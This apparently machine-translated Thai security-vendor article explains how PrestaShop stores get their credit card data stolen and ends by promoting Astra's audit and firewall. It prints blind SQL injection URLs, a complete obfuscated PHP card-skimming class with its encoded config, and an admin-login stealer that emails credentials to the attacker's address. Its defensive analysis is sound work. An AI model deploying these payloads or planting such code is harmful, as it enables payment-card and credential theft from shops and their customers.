การทำธุรกรรมออนไลน์ได้เพิ่มความสะดวกในการทำธุรกิจอย่างแน่นอน แต่ด้วยความง่ายนี้ ความรับผิดชอบในการรักษาความปลอดภัยก็เข้ามา ร้านค้าอีคอมเมิร์ซที่ทำงานด้วย Prestashop มีข้อมูลที่ละเอียดอ่อนมากมาย ซึ่งรวมถึงรายละเอียดบัตรเครดิตของผู้ใช้ ดังนั้นข้อมูลนี้จึงทำให้เป็นเป้าหมายที่สุกงอมสำหรับผู้โจมตี การจี้บัตรเครดิตของ Prestashop เพิ่มขึ้นเรื่อยๆ เนื่องจากความนิยมของโซลูชันอีคอมเมิร์ซนี้ สามารถรับรองความง่ายในการติดตั้งและบำรุงรักษา ตามหนังสือ PrestaShop 1.5 Beginner's Guide ,
Prestashop Credit Card Hijack:อาการ
การจี้บัตรเครดิต Prestashop สามารถทำได้หลายวิธี อาจเป็นสคริปต์ที่เป็นอันตรายบนเซิร์ฟเวอร์หรือบรรทัดของ Javascript บ่อยครั้งอาจเป็นการฉีด SQL หรือหน้าฟิชชิ่ง ดังนั้นความเป็นไปได้ที่หลากหลายนี้จึงทำให้ยากต่อการตรวจจับ อย่างไรก็ตาม มีสัญญาณบางอย่างที่สามารถโจมตีได้:
- ตารางฐานข้อมูลที่ไม่รู้จักก่อนหน้านี้ เช่น Sqlmap ปรากฏขึ้น
- บัญชีผู้ดูแลระบบที่ไม่รู้จักปรากฏบนแดชบอร์ด
- บัตรเครดิตของลูกค้าถูกขโมย
- เข้าสู่ระบบแดชบอร์ดจาก IP ที่ไม่รู้จัก
- หน้าใหม่ที่ไม่รู้จักปรากฏบนเว็บไซต์
- ไซต์เปลี่ยนเส้นทางไปยังโดเมนที่ไม่รู้จัก
- การวิเคราะห์แพ็กเก็ต Wireshark แสดงข้อมูลที่ส่งไปยังโดเมนที่ไม่เหมาะสม
- ผู้ใช้บ่นเกี่ยวกับปัญหาที่เกี่ยวข้องกับการชำระเงิน
- บันทึกของเซิร์ฟเวอร์แสดงกำลังเดรัจฉานหรือความพยายามในการฉีด SQL
รายละเอียดบัตรเครดิตถูกขโมยจากร้าน Prestashop ของคุณหรือไม่. ส่งข้อความถึงเราบนวิดเจ็ตการแชท เรายินดีที่จะช่วยเหลือคุณ แก้ไขเว็บไซต์ Prestashop ของฉันทันที
Prestashop Credit Card Hijack:สาเหตุ
การฉีด SQL ใน Prestashop
การฉีด SQL สามารถประนีประนอมฐานข้อมูลของร้านค้า Prestashop ของคุณ สาเหตุหลักของ SQLi คือการขาดการดูแลอินพุต นักพัฒนามักไม่ปรับใช้แนวทางการเข้ารหัสที่ปลอดภัย ด้วยเหตุนี้ ช่องโหว่เช่น SQLi และ XSS จึงเกิดขึ้นในโค้ด ช่องโหว่ SQLi แบบ zero-day สำหรับ Prestashop เผยแพร่ในปี 2014 คอมโพเนนต์ที่มีช่องโหว่คือ id_manifacturer . URL แบบเต็มได้รับด้านล่าง
ใน URL ต่อไปนี้ สามารถใส่ข้อความสั่งหลังจาก id_manufacturer นอกจากนี้ ยังเป็น Blind SQLi ชนิดหนึ่ง โดยพื้นฐานแล้วข้อมูลจะถูกดึงออกมาในรูปแบบบูลีนเท่านั้น ในบางครั้ง นักพัฒนาจะระงับข้อผิดพลาดภายใน สิ่งนี้ทำเพื่อหลีกเลี่ยงผู้โจมตีจากการค้นพบช่องโหว่ อย่างไรก็ตาม หากเซิร์ฟเวอร์ยังคงดำเนินการคำสั่ง ข้อมูลก็สามารถดึงออกมาในรูปแบบบูลีนได้ นี่เป็นกรณีของ SQLi ที่ตาบอด แม้ว่าจะต้องทำการร้องขอหลายรายการเพื่ออ่านเนื้อหาของฐานข้อมูล สิ่งนี้ทำให้การแสวงหาผลประโยชน์ด้วยตนเองใช้เวลานาน เพื่อตรวจสอบ SQLi ตาบอด
http://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1
ขั้นแรกดูว่าคำสั่งนี้ดำเนินการเป็นจริงหรือไม่ ประการที่สอง คำสั่งที่=3 and 1=2 ดำเนินการเป็นเท็จ นี่เป็นกรณีของ SQLi ที่ตาบอดอย่างแน่นอน อย่างไรก็ตาม ในบางครั้งอาจเป็น SQLi แบบบอดตามเวลา ในสถานการณ์นั้น เซิร์ฟเวอร์จะให้คำติชมบูลีนหลังจากเวลาหนึ่ง เช่น
http://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)
ที่นี่ผู้ใช้จะต้องรอ 10 วินาที . หลังจากนั้นเซิร์ฟเวอร์จะส่งการตอบกลับจริงหรือเท็จตามการสืบค้น
การเอารัดเอาเปรียบอัตโนมัติ
การเอารัดเอาเปรียบอาจดูเป็นงานที่ต้องใช้ความอุตสาหะ แต่มีเครื่องมืออัตโนมัติที่พร้อมใช้งาน Sqlmap สามารถใช้ประโยชน์จากมันสำหรับผู้โจมตีได้อย่างง่ายดาย หลังจากนั้นผู้โจมตีสามารถอ่านตารางได้ps_payment_cc . ตารางนี้มีคอลัมน์id_order_payment,card_number,card_brand,card_expiration . จึงขโมยรายละเอียดบัตรที่บันทึกไว้ทั้งหมด ในกรณีที่ตารางมีขนาดใหญ่ ผู้โจมตีสามารถเร่งการโจมตีโดยใช้การสืบค้น DNS เนื่องจาก Sqlmap มาพร้อมกับตัวเลือก--dns-domain= . ดังนั้นผู้โจมตีจึงสามารถกรองข้อมูลโดยใช้การสืบค้น DNS แทนการส่งออกตามเวลาที่ช้า อย่างไรก็ตาม ผู้โจมตีจะต้องควบคุมเครื่องที่ลงทะเบียนเป็นเซิร์ฟเวอร์ DNS ดังนั้นจึงเป็นเรื่องสำคัญที่จะต้องคอยติดตามการสืบค้น DNS ที่ออกจากเซิร์ฟเวอร์ของคุณ อย่างไรก็ตาม ไม่แนะนำให้เก็บข้อมูลบัตรเครดิตของผู้ใช้ไว้บนเซิร์ฟเวอร์ เว้นแต่ผู้ดูแลระบบจะทำการตรวจสอบความปลอดภัยของ Prestashop และทดสอบการทดสอบเป็นประจำ แม้ว่าทั้งหมดนี้สามารถหลีกเลี่ยงได้หากนักพัฒนาใช้คำสั่งที่เตรียมไว้!
มัลแวร์ Prestashop บัตรเครดิต
บางครั้งการแฮ็กบัตรเครดิตใน Prestashop อาจเกิดจากสคริปต์ที่เป็นอันตรายในไซต์ของคุณ ผู้โจมตีใช้ประโยชน์จากไซต์ก่อนโดยใช้เทคนิคที่รู้จัก โดยส่วนใหญ่แล้วจะเป็นหนึ่งใน 10 อันดับแรกของ OWASP หลังจากนั้นจึงติดตั้งมัลแวร์ มัลแวร์นี้เชื่อมต่อกับฐานข้อมูลก่อน จากฐานข้อมูล มันก็จะขโมยข้อมูลบัตรเครดิต ซึ่งมักจะมีอยู่ในps_payment_cc ตาราง
ด้านบนนี้เป็นข้อมูลโค้ดของสคริปต์การจี้บัตรเครดิตของ PrestaShop ที่นี่สคริปต์เชื่อมต่อกับฐานข้อมูลก่อน หลังจากนั้นจะขโมยข้อมูลบัตรเครดิตจากฐานข้อมูล
มาดูมัลแวร์บัตรเครดิตอีกหนึ่งตัวที่ติด/vendor/composer/autoload_real.php ไฟล์
class SiF { function __construct($conf) { $this->encrypt = FALSE; $this->in = $_POST; $this->test = isset($this->in['siftest']); $conf = explode('SiF', str_rot13($conf)); if(count($conf)!=2)return; $this->key = $conf[0]; $conf = explode('|', base64_decode($conf[1])); $s = array_shift($conf); $s = explode(';;', $s); $this->conf = array(); foreach($s AS $d) { $d = explode('::', $d); if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]); } array_shift($conf); $this->data = $conf; $this->get(); if($this->test) $this->out('[sifok]'); }function get(){if($this->search($this->data[0])===FALSE) return;foreach($this->data AS $i => $v){$v = $this->search($v);$this->data[$i] = $v===FALSE ? '' : $this->crypt($v);}$this->set();}function set(){$data = implode('|', $this->data);$data = $this->crypt('SiF').'|'.$data;if(!$this->encrypt) $data = base64_encode($data);$data = $this->post_fgc($data);if($this->test) $this->out($data);}function get_fgc($data){$url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data);if($this->test) $url .= '&test';return file_get_contents($url);}function post_fgc($data){$data = array($this->conf['param'] => $data);$options = array('http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n",'method' => 'POST','content' => http_build_query($data)));$context = stream_context_create($options);return file_get_contents($this->conf['url'], false, $context);}function search($key){$f = $this->in;if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a)){foreach($a[1] AS $v){if(is_array($f) && isset($f[$v])) $f = $f[$v];else return FALSE;}return $f;}return FALSE;}function crypt($s){if(function_exists('openssl_public_encrypt')){$key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----";if(@openssl_public_encrypt($s, $code, $key)){$this->encrypt = TRUE;return base64_encode($code);}}return $s;}function out($s){echo $s;exit;}}new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'
สคริปต์ที่เป็นอันตรายคือระยะที่สองของการโจมตี ในระยะแรกช่องโหว่ที่ทราบบางจุดถูกนำไปใช้ประโยชน์ หลังจากที่อัปโหลดสคริปต์ขโมยข้อมูลรับรองแล้ว ดังนั้นจึงไม่แนะนำให้เก็บข้อมูลไว้ในฐานข้อมูล สำหรับร้านค้าอีคอมเมิร์ซ ขอแนะนำให้ทำการตรวจสอบความปลอดภัยและทดสอบเพื่อค้นหาวิธีที่เป็นไปได้ทั้งหมดที่จะแทรกมัลแวร์ลงในเว็บไซต์ของคุณ
ฟิชชิ่ง
สามารถใช้ฟิชชิ่งเพื่อจี้ Prestashop Credit card ขนาดใหญ่ได้ โดยทั่วไปแล้วผู้โจมตีจะสร้างหน้าเข้าสู่ระบบปลอม ผู้ใช้อาจไม่สามารถแยกแยะได้ ดังนั้นพวกเขาจึงอาจเปิดเผยข้อมูลที่ละเอียดอ่อนซึ่งนำไปสู่การแฮ็กบัตรเครดิตใน Prestashop มีหลายวิธีที่หน้าเหล่านี้อาจถูกสร้างขึ้น บางส่วนได้แก่:
- XSS :ผู้โจมตีใช้ XSS เพื่อโหลดสคริปต์ที่เป็นอันตรายจากโดเมนที่เป็นอันตราย สคริปต์นี้แทนที่เนื้อหาของหน้าเดิม หน้านี้ถูกแทนที่ด้วยหน้าเข้าสู่ระบบฟิชชิ่ง หลังจากนั้นผู้ใช้ส่งข้อมูลในหน้าเหล่านั้น หน้าฟิชชิงส่งข้อมูลนี้ไปยังโดเมนที่ควบคุมโดยผู้โจมตี
- SQLi :ผู้โจมตีอาจได้รับเชลล์แบบย้อนกลับโดยใช้การฉีด SQL การใช้ reverse shell นี้ ผู้โจมตีอาจแทนที่หน้าการชำระเงินเดิมด้วยหน้าฟิชชิ่ง
- FTP :พอร์ต FTP ถูกเปิดขึ้นสู่อินเทอร์เน็ต หลังจากนั้นผู้โจมตีอาจได้รับข้อมูลรับรองการเข้าสู่ระบบ หลังจากนั้นจึงสร้างหน้าฟิชชิ่ง
- ซีโร่เดย์ :ผู้โจมตีอาจได้รับ reverse shell เนื่องจากช่องโหว่ zero-day เนื่องจากการติดตั้งล้าสมัย จึงสร้างหน้าชำระเงินปลอม จึงนำไปสู่การจี้บัตรเครดิต Prestashop!
ข้อมูลประจำตัวที่อ่อนแอ
ข้อมูลประจำตัวที่อ่อนแอเป็นสาเหตุหลักที่อยู่เบื้องหลังการจี้บัตรเครดิตของ Prestashop รหัสผ่านที่ไม่รัดกุมสามารถทำลายได้โดยใช้การโจมตีแบบเดรัจฉาน เมื่อผู้โจมตีได้รับรหัสผ่านแล้ว แดชบอร์ดจะเปิดขึ้น จากนี้ไปผู้โจมตีบางคนจะใช้แนวทางที่แตกต่างออกไป แทนที่จะรอและรวบรวมข้อมูลการสมัครจากฐานข้อมูลอย่างเฉยเมย ผู้โจมตีแทรกหน้าด้วยรหัสเพื่อส่งข้อมูลนั้นแบบไดนามิก ตัวอย่างเช่น มัลแวร์ประเภทหนึ่งแทรกโค้ดลงในไฟล์/controllers/admin/AdminLoginController.php . โดยทั่วไปแล้วโค้ดที่เป็นอันตรายจะมีลักษณะดังนี้
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header); ที่นี่โค้ดในสองสามบรรทัดแรกกำลังรวบรวมตัวแปรทั้งหมด หลังจากนั้นฟังก์ชัน PHP จะส่งอีเมลไปยังบัญชีของผู้โจมตี ในกรณีนี้ มันคือ admin@wsxdn.com . พารามิเตอร์ต่างๆ ที่ส่งมีดังนี้:
- ถึง: ข้อมูลนี้มีรหัสอีเมลของผู้โจมตีที่จะส่งข้อมูล ในกรณีนี้คือ
admin@wsxdn.com - เรื่อง: ซึ่งมีข้อความต่อไปนี้
panel admin prestashop www.infectedDomain.com. - ส่วนหัว: ส่วนหัวมีข้อความ
hacked <admin@wsxdn.com>. - ข้อความส่วนที่ 1 :พารามิเตอร์นี้มีข้อมูลที่ละเอียดอ่อนทั้งหมด ซึ่งรวมถึงโดเมนที่ติดไวรัส ในกรณีนี้
http://www.attackeddomain.com. หลังจากนั้น URI ซึ่งก็คือ/admins/ajax-tab.php?rand=1470989908670&up=hous. ตามด้วยอีเมลadmin@wsxdn.comn.com. และสุดท้ายรหัสผ่าน นี่อาจเป็นสตริงสุ่มใดๆ ที่ผู้ใช้ป้อน ในที่สุดก็มีข้อความสุ่มซึ่งก็คือby bajatax — sniper :v. - ข้อความส่วนที่ 2 :ส่วนที่สองของข้อความมีเส้นทางภายในของไฟล์ที่ติดไวรัส ในกรณีนี้
/usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php.
อย่างไรก็ตาม หลังการค้นพบมัลแวร์ Google ได้บล็อกบัญชี Gmail ของผู้โจมตี หลังจากนั้นก็พบมัลแวร์รูปแบบใหม่นี้ ซึ่งก่อนอื่นตรวจสอบว่าสามารถส่งอีเมลไปยังผู้โจมตีได้หรือไม่ ในกรณีที่ไม่ใช่ รายละเอียดจะถูกบันทึกลงในไฟล์ในเครื่องที่ชื่อว่า uspas.txt . ในขั้นตอนต่อไป ผู้โจมตีสามารถรับข้อมูลบัตรเครดิตได้เช่นเดียวกับการลงทะเบียนของผู้ใช้ นี่เป็นการสรุปการจี้บัตรเครดิต Prestashop!
การตรวจสอบความปลอดภัยและไฟร์วอลล์ของ Prestashop
การตรวจสอบความปลอดภัยของแอสตร้า
เพื่อให้ร้านค้า Prestashop ปลอดภัย ต้องหาช่องโหว่ให้เจอ สิ่งเหล่านี้สามารถเปิดเผยได้โดยใช้การตรวจสอบความปลอดภัยที่สมบูรณ์เท่านั้น มีโซลูชั่นมากมายในตลาด เช่นเดียวกับที่ Astra จัดให้
การมีส่วนร่วมกับ Astra จะให้บริการดังต่อไปนี้:
- ช่องโหว่ทั่วไปที่เป็นที่รู้จัก เช่น SQLi, XSS, สแปม และอื่นๆ 80+
- การประเมินช่องโหว่และการทดสอบการเจาะระบบ (VAPT)
- นอกจากนี้ยังตรวจพบข้อบกพร่องในการจัดการราคาอีกด้วย นอกจากนี้ยังสามารถค้นหาข้อผิดพลาดทางตรรกะทางธุรกิจได้อีกด้วย
- การวิเคราะห์โค้ดแบบคงที่และแบบไดนามิก
- ความช่วยเหลือด้านเทคนิคในการแพตช์พบช่องโหว่ด้านความปลอดภัย
- Collaborative Cloud Dashboard สำหรับการรายงานช่องโหว่
- เข้าถึงเครื่องมือรักษาความปลอดภัย/API ของเรา
- ที่ปรึกษาแนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยของเว็บ
- ค้นพบพอร์ตที่เปิดสู่อินเทอร์เน็ต
- ค้นหาการกำหนดค่าเซิร์ฟเวอร์ที่ผิดพลาดที่ทราบ
- การตรวจจับการคลิกแจ็ค
- การตรวจสอบและการอนุญาตใช้งานไม่ได้
- ค้นหาจุดบกพร่องของการยกระดับสิทธิ์
- ช่องโหว่ในปลั๊กอินของบุคคลที่สามและอีกมากมาย
การทดสอบได้รับการปรับแต่งและปรับแต่งอย่างสูงตามเว็บไซต์และข้อกำหนด
ขอบเขตการทดสอบความปลอดภัยทั่วไป:
- เว็บแอปพลิเคชันของลูกค้า
- การจัดการและการรวมการชำระเงิน
- พอร์ทัลการดูแลระบบ
- API และบริการเว็บ
แอสตร้าไฟร์วอลล์
ไฟร์วอลล์ Prestashop ช่วยให้แน่ใจว่าบล็อกการเข้าถึงร้านค้า Prestashop ของคุณโดยไม่ได้รับอนุญาต การรับส่งข้อมูลขาเข้าทั้งหมดจะถูกสแกน ด้วยเหตุนี้คำขอที่เป็นอันตรายจึงลดลง ไฟร์วอลล์ Astra สแกนหาการอัปโหลดมัลแวร์ การพยายามอัปโหลดสคริปต์จี้บัตรเครดิตของ Prestashop จะถูกบล็อก แอสตร้ายังติดตามกิจกรรมการเข้าสู่ระบบ ดังนั้นหากแดชบอร์ดถูกบุกรุก ผู้ใช้จะได้รับแจ้ง นอกจากนั้น Astra ยังช่วยให้มั่นใจว่าการติดตั้งเป็นปัจจุบัน ดังนั้นจึงให้การปกป้องร้านค้าของคุณตลอด 24 ชั่วโมง!